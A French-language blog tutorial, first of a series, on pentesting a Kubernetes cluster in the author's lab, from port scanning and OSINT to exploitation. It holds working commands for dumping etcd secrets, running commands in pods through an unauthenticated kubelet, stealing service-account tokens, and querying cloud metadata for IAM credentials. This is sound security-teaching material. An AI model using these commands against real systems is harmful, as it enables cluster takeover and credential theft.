Skip to main content

Command Palette

Search for a command to run...

De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 1/3

Published
18 min read
De l'exposition réseau au cluster-admin - Pentest d'un cluster Kubernetes 1/3

Dans les deux articles précédents, nous avons construit une vision complète d'un cluster Kubernetes : son architecture, ses objets clés, son réseau et ses mécanismes de cloisonnement. Ces bases sont désormais suffisantes pour adopter un autre point de vue, celui de l'attaquant.

Cet article aborde le pentest d'un cluster Kubernetes de manière pratique et méthodique. L'objectif est de couvrir, pour chaque type d'accès possible, les techniques et vecteurs d'attaque associés : depuis la reconnaissance de la surface d'exposition externe, jusqu'à l'exploitation des composants internes une fois un premier accès obtenu.

La progression suit une logique de pivot : on commence par l'extérieur, on cherche une entrée, puis on escalade méthodiquement jusqu'aux ressources les plus sensibles.

Reconnaissance externe : Cartographier la surface d'exposition

Avant de tenter quoi que ce soit, il faut comprendre ce qui est visible depuis l'extérieur. Un cluster Kubernetes n'est pas un "monolithe" : il est composé de nombreux composants qui écoutent sur des ports bien identifiés. Certains sont intentionnellement exposés (l'application web), d'autres ne devraient jamais l'être (kubelet, etcd). La première étape consiste à cartographier tout cela.

La surface d'attaque visible dépend directement de la façon dont le cluster est déployé et exposé. On ne scanne pas un cluster cloud derrière un Load Balancer de la même manière qu'un cluster on-premise avec des nœuds directement accessibles.

  • Cloud avec Load Balancer (EKS, GKE, AKS) : l'IP publique appartient au LB (Load Balancer), les nœuds sont dans un sous-réseau privé. La surface visible est réduite à ce que le LB expose. L'accès direct aux composants internes (kubelet, etcd) est moins probable, mais pas impossible selon les règles de pare-feu.

  • On-premise ou cloud mal configuré : les nœuds ont des IP directement routables. C'est dans ce cas que l'on trouve le plus souvent des API servers ou des kubelet directement joignables.

Dans tous les cas, dès que les adresses IP des nœuds sont connues ou découvertes, il convient d'effectuer un scan de ports sur chacun d'eux.

Identification des services exposés

Recherche active : scans réseaux

Un cluster Kubernetes fait tourner de nombreux composants qui écoutent chacun sur des ports connus. Les composants du nœuds maitre et des nœuds de travail (workers) n'exposent pas les mêmes ports et ne présentent pas les mêmes risques.

🧠 Nœud maître (plan de contrôle)

Port Composant Exploitation possible
6443 kube-apiserver (TLS) Enumération des ressources, exécution de commandes si token valide ou accès anonyme
8080 kube-apiserver (HTTP, legacy) API entièrement ouverte sans authentification : accès complet au cluster
2379 etcd (client) Dump de l'intégralité de la base : tous les Secrets, tokens, configurations
2380 etcd (peers) Injection dans le cluster etcd

👷 Nœuds de travail (workers)

Port Composant Exploitation possible
10250 kubelet (API) Exécution de commandes dans n'importe quel pod du nœud, lecture des logs
10255 kubelet (read-only, legacy) Enumération des pods et de leur configuration sans authentification
10256 kube-proxy Health check uniquement
30000–32767 NodePort Accès direct aux services applicatifs exposés sur le nœud

À ces ports s'ajoutent les composants additionnels souvent présents : dashboards (8001, 8443), Ingress controllers (80, 443), registres de conteneurs, outils de CI/CD (Argo CD, Jenkins, etc.).

En contexte de pentest, on dispose rarement d'une cartographie préalable du cluster. On sait qu'une ou plusieurs IPs sont liées à l'infrastructure, pas nécessairement si c'est une IP d'un noeud maitre ou de travail. L'approche est donc la même sur chaque machine identifiée : on scanne les ports Kubernetes connus et on interprète ce qui répond.

# Exemple sur un cluster correctement configuré
$ nmap -p 443,6443,8080,8443,2379,2380,10250,10255,10256 -sV --open \
    10.25.11.200 10.25.11.201 10.25.11.202

Nmap scan report for 10.25.11.200
PORT      STATE SERVICE  VERSION
6443/tcp  open  ssl/http Golang net/http server
10250/tcp open  ssl/http Golang net/http server

Nmap scan report for 10.25.11.201
PORT      STATE SERVICE  VERSION
10250/tcp open  ssl/http Golang net/http server

Nmap scan report for 10.25.11.202
PORT      STATE SERVICE  VERSION
10250/tcp open  ssl/http Golang net/http server

Le port 6443 (kube-apiserver) ne répond que sur une seule machine, ce qui trahit le nœud maître. Le port 10250 (kubelet) répond sur toutes les machines. Aucune trace de 2379 (etcd) ni de 8080 (API server HTTP legacy), ces composants ne sont pas exposés sur ce cluster.

On complète avec un scan de la plage NodePort pour détecter d'éventuels services applicatifs exposés directement sur les nœuds :

$ nmap -p 30000-32767 --open 10.25.11.200 10.25.11.201 10.25.11.202

# Aucun résultat : aucun Service de type NodePort déployé sur ce cluster

⚠️ Note : En situation réelle, adapter la vitesse du scan selon le contexte. Un scan agressif peut déclencher des alertes ou impacter les services.

La même reconnaissance est possible via Kubestroyer, qui identifie automatiquement le rôle de chaque port dans l'écosystème Kubernetes et peut enchaîner directement sur l'exploitation si une misconfiguration est détectée :

Kubestroyer

# Scan des ports Kubernetes connus
$ kubestroyer -t 10.25.11.200,10.25.11.201,10.25.11.202

[+] port 6443 open  (Kubernetes API port)        # 10.25.11.200
[+] port 10250 open (Kubelet API anonymous port) # 10.25.11.200, .201, .202

# Scan de la plage NodePort
$ kubestroyer -t 10.25.11.200,10.25.11.201,10.25.11.202 --node-scan
# Aucun port NodePort ouvert détecté

Recherche passive : domaines, Ingress et services exposés

Le scan de ports couvre les IPs connues. Mais dans un contexte cloud, une partie de la surface d'attaque n'est pas accessible via IP directe : elle passe par des noms de domaine et des Ingress. La recherche passive permet d'identifier ces points d'entrée sans envoyer un seul paquet vers la cible.

Enumération des sous-domaines via outils

Un cluster expose souvent plusieurs services sous des sous-domaines d'un même domaine principal. L'objectif est d'en dresser la liste avant d'interagir avec eux.

# Enumération passive via certificats TLS (crt.sh)
$ curl -s "https://crt.sh/?q=%.example.com&output=json" | jq '.[].name_value' | sort -u

# Enumération DNS avec amass (mode passif)
$ amass enum -passive -d example.com
$ bbot -t example.com -f subdomain-enum --force

# Bruteforce DNS
$ gobuster dns -d example.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Bruteforce vhost (trouve les services routés par l'Ingress sans enregistrement DNS)
$ gobuster vhost -u https://<ip-ou-domaine> --append-domain \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
$ ffuf -u https://<ip-ou-domaine> -H "Host: FUZZ.example.com" \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -fs <taille-reponse-par-defaut>

Parmi les sous-domaines trouvés, certains noms sont révélateurs d'une infrastructure Kubernetes : k8s., kube., api., argo., grafana., dashboard., registry., etc.

Enumération des sous-domaines via OSINT

Shodan, Censys et ZoomEye indexent les services accessibles publiquement. Des dorks spécifiques permettent de trouver des composants Kubernetes exposés, sans jamais contacter la cible directement :

# Shodan
port:6443 ssl:"kubernetes"
port:10250 "Kubelet"
product:etcd
"kubernetes dashboard"
"kubernetes master"

# Censys
services.port: 6443
services.software.product: "etcd"

# Google
site:example.com inurl:"/api/v1"
site:example.com intitle:"Kubernetes Dashboard"

Exemple avec Shodan :

Des API etcd non authentifiées, des dashboards Kubernetes ou des kubelet ouverts se retrouvent régulièrement indexés. Cette étape fournit des cibles concrètes avant tout contact direct.

Enumeration des sous-domaines via VHOST

Un Ingress controller peut écouter sur des ports très variés selon le type de déploiement : 80/443 en cloud (service LoadBalancer) ou avec hostPort directement sur le nœud, un NodePort (30000-32767) sur un cluster on-premise ou un lab, ou encore 8080/8443 sur des environnements de dev. Il n'est donc pas toujours évident de distinguer un Ingress d'une application exposée directement.

Sur chaque port HTTP identifié par nmap, on envoie une requête sans Host valide et on compare la réponse contre les signatures connues des Ingress controllers :

$ ffuf -u https://<ip>:<port>/ -H "Host: FUZZ" -w /dev/null -mr "nginx|default backend|traefik|404 page not found" -x GET

Ou simplement avec curl pour lire les headers et le corps :

$ curl -sk https://<ip>:<port>/ -D -
HTTP/2 404
...
<center>nginx</center>         # nginx-ingress
# ou : default backend - 404  # nginx-ingress < 1.0
# ou : X-Powered-By: traefik  # Traefik

Le certificat TLS peut aussi lister directement les services exposés via les SANs :

$ openssl s_client -connect <ip>:<port> </dev/null 2>/dev/null \
    | openssl x509 -noout -text | grep -A 2 "Subject Alternative Name"
DNS:app.example.com, DNS:api.example.com, DNS:*.example.com

Exemple de service ingress nginx :

Une fois l'Ingress confirmé, on cartographie ce qui se cache derrière : vhosts, paths applicatifs, interfaces d'administration oubliées.

# Enumération des vhosts
$ ffuf -u https://<ip>:<port>/ -H "Host: FUZZ.example.com" \
    -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
    -fs <taille-reponse-par-defaut>

# Fuzzing des paths sur un vhost identifié
$ ffuf -u https://<domaine>/FUZZ \
    -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

Les interfaces d'administration (Argo CD, Grafana, Kibana, Jupyter, Kubernetes Dashboard) sont des cibles fréquentes : elles sont souvent déployées pour les équipes internes et exposées sans authentification forte, voire sans authentification du tout.

Exploitation des services identifiés

Services Kubernetes

etcd (2379/tcp, 2380/tcp)

etcd est la base de données du cluster. Il stocke l'état complet du cluster, y compris tous les Secrets en base64. C'est le composant le plus critique : y accéder sans authentification signifie accéder à tout.

2379/tcp: compromission totale, dump de tous les secrets du cluster

Sur notre cluster de démonstration, un etcd standalone a été démarré sans TLS (--listen-client-urls http://0.0.0.0:2379). Sans certificat client, l'accès est immédiat :

# etcd répond sans certificat client
$ curl http://10.25.11.200:2379/version
{"etcdserver":"3.5.12","etcdcluster":"3.5.0"}

# Avec etcdctl : lister toutes les clés
$ etcdctl --endpoints=http://10.25.11.200:2379 get / --prefix --keys-only
/registry/secrets/default/db-credentials
/registry/secrets/kube-system/admin-token
/registry/serviceaccounts/default/default
/registry/serviceaccounts/kube-system/cluster-admin-sa
/registry/serviceaccounts/kube-system/default

# Lire un secret et afficher son contenu brut
$ etcdctl --endpoints=http://10.25.11.200:2379 \
    get /registry/secrets/default/db-credentials --print-value-only
{
  "apiVersion": "v1",
  "kind": "Secret",
  "metadata": { "name": "db-credentials", "namespace": "default" },
  "type": "Opaque",
  "data": {
    "DB_PASSWORD": "c3VwZXJTZWNyZXRQYXNzd29yZDEyMw==",
    "DB_USER": "YWRtaW4=",
    "DB_HOST": "bXlzcWwucHJvZC5zdmMuY2x1c3Rlci5sb2NhbA=="
  }
}

Les valeurs sont encodées en base64 mais pas chiffrées (sauf si le chiffrement au repos est activé). Un base64 -d suffit à lire le contenu des Secrets :

# Décoder les valeurs base64
$ echo "c3VwZXJTZWNyZXRQYXNzd29yZDEyMw==" | base64 -d
superSecretPassword123

$ echo "YWRtaW4=" | base64 -d
admin

$ echo "bXlzcWwucHJvZC5zdmMuY2x1c3Rlci5sb2NhbA==" | base64 -d
mysql.prod.svc.cluster.local

# Cible prioritaire : les tokens de service accounts système
$ etcdctl --endpoints=http://10.25.11.200:2379 get / --prefix --keys-only | grep serviceaccount
/registry/serviceaccounts/default/default
/registry/serviceaccounts/kube-system/cluster-admin-sa
/registry/serviceaccounts/kube-system/default

Un token de service account cluster-admin extrait d'etcd donne un accès complet au cluster via l'API server, sans passer par les mécanismes d'authentification normaux.

Kubestroyer automatise cette vérification avec le flag --etcd : il tente une connexion anonyme et extrait les objets disponibles sans avoir à manipuler etcdctl manuellement.

$ kubestroyer -t <ip> --etcd

2380/tcp: perturbation du cluster etcd (exploitation complexe)

Le port 2380 sert à la communication entre membres du cluster etcd (Raft). Il n'est pas destiné aux clients, mais son exposition indique que etcd n'est pas isolé réseau. Dans un cluster multi-nœuds, il peut permettre d'injecter un nouveau membre etcd ou de provoquer une perturbation du quorum, mais l'exploitation directe via ce port est nettement plus complexe que via 2379.

kubelet (10250/tcp, 10255/tcp)

Le kubelet est l'agent qui tourne sur chaque nœud et exécute les pods. Son API expose des endpoints permettant d'interagir directement avec les conteneurs du nœud.

10250/tcp: RCE dans n'importe quel pod du nœud

Si le kubelet est configuré avec --anonymous-auth=true et --authorization-mode=AlwaysAllow (configuration par défaut sur certaines distributions anciennes), il est possible d'exécuter des commandes dans n'importe quel pod du nœud sans authentification.

Sur notre cluster, le kubelet répond mais rejette les requêtes anonymes :

# Tenter de lister les pods du nœud sans authentification
$ curl -sk https://10.25.11.201:10250/pods
Unauthorized

C'est le comportement attendu d'un kubelet correctement configuré. Sur notre cluster de démonstration, après activation de l'authentification anonyme sur le kubelet du nœud worker-01, la même requête retourne la liste complète des pods :

# Kubelet non authentifié : lister les pods du nœud
$ curl -sk https://10.25.11.201:10250/pods | jq '.items[] | {namespace: .metadata.namespace, name: .metadata.name}'
{"namespace": "kube-system", "name": "local-path-provisioner-546dfc6456-fbk7k"}
{"namespace": "kube-system", "name": "cilium-wqqnp"}
{"namespace": "kube-system", "name": "cilium-envoy-95h98"}
{"namespace": "default",     "name": "victim-pod"}

# Exécuter une commande dans un conteneur (cmd passé en query parameter)
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=id"
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=hostname"
victim-pod

Kubestroyer automatise cette étape avec le flag --anon-rce. L'outil liste les conteneurs disponibles sur le nœud et propose d'y exécuter une commande (par défaut : récupération du token du Service Account) :

$ kubestroyer -t <ip-noeud> --anon-rce
$ kubestroyer -t <ip-noeud> --anon-rce -x "cat /etc/passwd"

Une fois l'exécution obtenue dans un conteneur, l'objectif immédiat est de récupérer le token du Service Account monté dans le pod. Ce token est présent dans tous les pods par défaut :

# Extraction du token du Service Account depuis le pod via l'endpoint /run
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6IkRyUzU0MG1qdmJpeW85cUNhUzFxQ3k3REV4bTZFd2liYzhJc2JOQjRXVUEifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxODAzNjUxODkwLCJpYXQiOjE3NzIxMTU4OTAsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMzI3ODVhMGEtMTJhMy00NGZjLThhZDktNTEwNzA1YzBhMTJkIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0Iiwibm9kZSI6eyJuYW1lIjoiazNzLXdvcmtlci0wMSIsInVpZCI6ImMyMjZjNjYyLTU3YWItNDlkZi1iM2E1LWY3MmQxMDM0OTI2YSJ9LCJwb2QiOnsibmFtZSI6InZpY3RpbS1wb2QiLCJ1aWQiOiI5YmU3MDM0Yy1kNTFlLTRiMzYtYWRiZi0yN2IyNzE1ZGVhYTgifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImRlZmF1bHQiLCJ1aWQiOiJiYzcxZDUwYi03MDdjLTRiYjQtYjA0MC0zZDhhM2U0ODgzMDIifSwid2FybmFmdGVyIjoxNzcyMTE5NDk3fSwibmJmIjoxNzcyMTE1ODkwLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpkZWZhdWx0In0.kpyz-xHeexj43yw9ByeXXc0zuwpUXDKxu8jkZEzKr76s4OeJRuhJEYLoWcvGaG[...]

# On récupère aussi le namespace et le CA du cluster
$ curl -sk -X POST \
    "https://10.25.11.201:10250/run/default/victim-pod/victim-pod?cmd=cat%20/var/run/secrets/kubernetes.io/serviceaccount/namespace"
default

Ce token peut ensuite être utilisé contre l'API server. Selon les permissions RBAC du Service Account, il peut permettre d'énumérer d'autres ressources ou d'escalader les privilèges, ce qui fait l'objet des sections suivantes.

10255/tcp: fuite d'information, lecture seule sans authentification (désactivé par défaut depuis Kubernetes 1.16)

Plus simple encore : le port 10255 ne nécessite aucune authentification et expose la liste des pods sans restriction. Il reste présent sur des clusters anciens :

$ curl http://<ip-noeud>:10255/pods
$ curl http://<ip-noeud>:10255/stats/summary

kube-apiserver (6443/tcp, 8080/tcp)

Le kube-apiserver est le point d'entrée principal du cluster. S'il est accessible depuis l'extérieur, l'impact dépend directement du port exposé.

8080/tcp: accès total sans authentification (désactivé par défaut depuis Kubernetes 1.20)

Cas plus rare mais bien plus critique : lorsque le port 8080 est ouvert, l'API server tourne en HTTP sans TLS et sans authentification. On le trouve encore sur des clusters anciens ou mal configurés :

# Port 8080 : accès complet sans token, sans TLS
$ curl http://<ip>:8080/api/v1/secrets
$ curl http://<ip>:8080/api/v1/namespaces/kube-system/secrets
# → dump de tous les tokens de service accounts système

6443/tcp: enumération et escalade selon la configuration RBAC

Première chose à vérifier : est-ce que l'accès anonyme est autorisé ? La réponse varie selon la distribution et la version. Sur un cluster vanilla Kubernetes, --anonymous-auth est activé par défaut et certains endpoints comme /healthz ou /version répondent sans authentification. Sur k3s en revanche, même ces endpoints sont protégés.

# Tester l'accès anonyme (ressources du cluster)
$ curl -k https://10.25.11.200:6443/api/v1/namespaces
{"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure",
"message":"Unauthorized","reason":"Unauthorized","code":401}

# Tester les endpoints d'information
$ curl -k https://10.25.11.200:6443/version
{"kind":"Status",...,"message":"Unauthorized","code":401}

$ curl -k https://10.25.11.200:6443/healthz
{"kind":"Status",...,"message":"Unauthorized","code":401}

Ici, toutes les requêtes anonymes sont rejetées, y compris les endpoints habituellement non protégés. C'est le comportement de k3s, plus restrictif que vanilla Kubernetes sur ce point.

Sur notre cluster de démonstration, après activation de l'authentification anonyme (--anonymous-auth=true) et attribution du rôle cluster-admin à system:anonymous, la même requête retourne des données directement exploitables :

# Version du cluster exposée sans authentification
$ curl -k https://10.25.11.200:6443/version
{
  "major": "1",
  "minor": "34",
  "gitVersion": "v1.34.4+k3s1",
  "gitCommit": "c6017918a65c824ce8d321db15267c8a317cd39d",
  "gitTreeState": "clean",
  "buildDate": "2026-02-12T23:46:53Z",
  "goVersion": "go1.24.12",
  "compiler": "gc",
  "platform": "linux/amd64"
}

# Enumération des namespaces sans token
$ curl -k https://10.25.11.200:6443/api/v1/namespaces | jq '.items[].metadata.name'
"cilium-secrets"
"default"
"kube-node-lease"
"kube-public"
"kube-system"

# Listing des secrets dans kube-system
$ curl -k https://10.25.11.200:6443/api/v1/namespaces/kube-system/secrets | jq '.items[] | {name: .metadata.name, type: .type}'
{"name": "cilium-ca",                         "type": "Opaque"}
{"name": "hubble-relay-client-certs",          "type": "kubernetes.io/tls"}
{"name": "hubble-server-certs",                "type": "kubernetes.io/tls"}
{"name": "k3s-serving",                        "type": "kubernetes.io/tls"}
{"name": "k3s-worker-01.node-password.k3s",    "type": "k3s.cattle.io/node-password"}
{"name": "k3s-worker-02.node-password.k3s",    "type": "k3s.cattle.io/node-password"}
{"name": "sh.helm.release.v1.cilium.v1",       "type": "helm.sh/release.v1"}

Si un token de service account est récupéré, il peut être utilisé directement pour s'authentifier en tant que ce compte et accéder à l'API avec ses permissions :

$ TOKEN="eyJhbGciOiJSUzI1NiIs..."
\( curl -k -H "Authorization: Bearer \)TOKEN" https://10.25.11.200:6443/api/v1/namespaces

Services web

Quand les composants Kubernetes natifs ne sont pas directement accessibles, l'entrée se fait via les applications déployées dans le cluster. Ces applications peuvent être exposées de plusieurs manières : via un Ingress controller, en NodePort (port ouvert directement sur chaque nœud dans la plage 30000-32767), ou via un LoadBalancer cloud.

Dans tous les cas, l'objectif est d'identifier une application vulnérable : RCE dans un pod, vol de credentials IAM via SSRF vers le metadata cloud, ou lecture de secrets via une CVE connue.

Kubernetes Dashboard

Interface web officielle de Kubernetes, souvent déployée à usage interne puis parfois oubliée et exposée (via NodePort). L'impact est majeur : le dashboard donne une vue complète sur toutes les ressources du cluster (pods, secrets, configmaps, service accounts) et permet d'exécuter des commandes dans n'importe quel pod directement depuis l'interface. Si le Service Account associé est cluster-admin, c'est une compromission totale du cluster.

Deux conditions mènent à un accès sans authentification : --enable-skip-login (bouton "Skip" visible sur la page de login), ou un SA cluster-admin sans rotation de token. Le dashboard proxifie l'API Kubernetes et est interrogeable directement :

# Vérifier si le bouton Skip est actif
$ curl -sk https://<dashboard>/api/v1/csrftoken/login

# Lister les secrets de tous les namespaces (tokens SA, credentials applicatifs, certs TLS...)
$ curl -sk https://<dashboard>/api/v1/namespace/default/secret
$ curl -sk https://<dashboard>/api/v1/namespace/kube-system/secret

# Lister les pods et leurs Service Accounts
$ curl -sk https://<dashboard>/api/v1/namespace/default/pod

# Exec dans un pod via le dashboard (équivalent kubectl exec)
$ curl -sk -X PUT "https://<dashboard>/api/v1/namespace/default/pod/<pod>/shell/<container>"

Applications vulnérables et accès initial

Outils tiers déployés dans le cluster

Argo CD, Grafana, Kibana ou Jupyter sont fréquemment déployés dans les clusters pour des besoins de CI/CD, monitoring ou data science. Ils ont en commun d'être souvent accessibles depuis l'extérieur, avec des versions rarement à jour et des configurations par défaut peu sécurisées. Une fois le service identifié, la CVE ou la misconfig associée est généralement documentée et directement exploitable.

Application Vecteur CVE / condition
Argo CD Enum apps et repos Git sans auth Version < 2.4.0 ou guest access activé
Grafana Path traversal → lecture de fichiers arbitraires CVE-2021-43798, versions < 8.3.2
Kibana RCE via prototype pollution CVE-2019-7609, versions < 6.6.1
Jupyter Notebook Exécution de code sans auth Pas de mot de passe configuré
pgAdmin / phpMyAdmin Credentials par défaut, SQLi Selon version et configuration

Pour détecter automatiquement ces panels sans les tester un par un, Nuclei dispose de templates dédiés :

$ nuclei -u https://<domaine> -t exposed-panels/ -severity medium,high,critical

Applications personnalisées

Une application exposée via Ingress peut servir de point d'entrée. L'objectif est d'obtenir une exécution dans un pod. Vecteurs courants :

  • Injection de commandes, SSTI, déserialisation

  • Endpoints non protégés : /actuator/env, /debug/pprof, /.git/HEAD

  • SSRF vers l'API server interne ou le metadata endpoint cloud

# AWS IMDSv1 — credentials IAM du nœud
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

# GCP metadata
$ curl -H "Metadata-Flavor: Google" \
    http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Scan de vulnérabilités web + misconfigs Kubernetes en une passe
$ nuclei -l targets.txt -t kubernetes/,exposed-panels/,vulnerabilities/ -severity medium,high,critical

Dans tous ces cas, l'objectif est d'obtenir une exécution dans un pod. C'est à partir de ce premier accès que démarre la phase d'exploitation interne, couverte dans les sections suivantes.

1.6 TL;DR

Cet article couvre la surface d'attaque externe d'un cluster Kubernetes, de la reconnaissance jusqu'à l'obtention d'un premier accès. On commence par cartographier passivement ce qui est exposé (Shodan, crt.sh, Censys) avant de passer à un scan actif Nmap sur les ports Kubernetes connus et les plages NodePort.

Quand des composants natifs sont directement accessibles, l'impact est immédiat et souvent total : etcd sans TLS expose tous les secrets du cluster en clair, kubelet sans authentification permet d'exécuter des commandes dans n'importe quel pod du nœud, et l'API server en HTTP donne un accès complet sans credentials. Sur HTTPS, tout dépend de la configuration RBAC — l'accès anonyme activé suffit souvent à énumérer des ressources sensibles.

Quand ces composants ne sont pas accessibles, on passe par les applications exposées. Le Kubernetes Dashboard mal configuré est une compromission directe du cluster depuis un navigateur. Les outils tiers comme Argo CD, Grafana ou Kibana ont des CVE bien documentées : identifier la version suffit à trouver le vecteur. Pour les applications personnalisées, on reste dans un contexte de pentest web classique jusqu'à trouver une RCE ou une SSRF. La première donne un shell dans un pod avec le token SA monté, la seconde permet d'atteindre l'API server interne ou les credentials IAM cloud.

Les vecteurs couverts dans cet article mènent à des états très différents : shell dans un pod, accès direct à l'API avec un token SA volé, credentials cloud récupérés via SSRF. Le prochain article part du cas le plus courant et le plus contraint : on est à l'intérieur d'un pod compromis, sans accès direct à l'API, et on cherche à comprendre où on est, ce qu'on peut atteindre, et comment progresser vers les ressources les plus sensibles du cluster.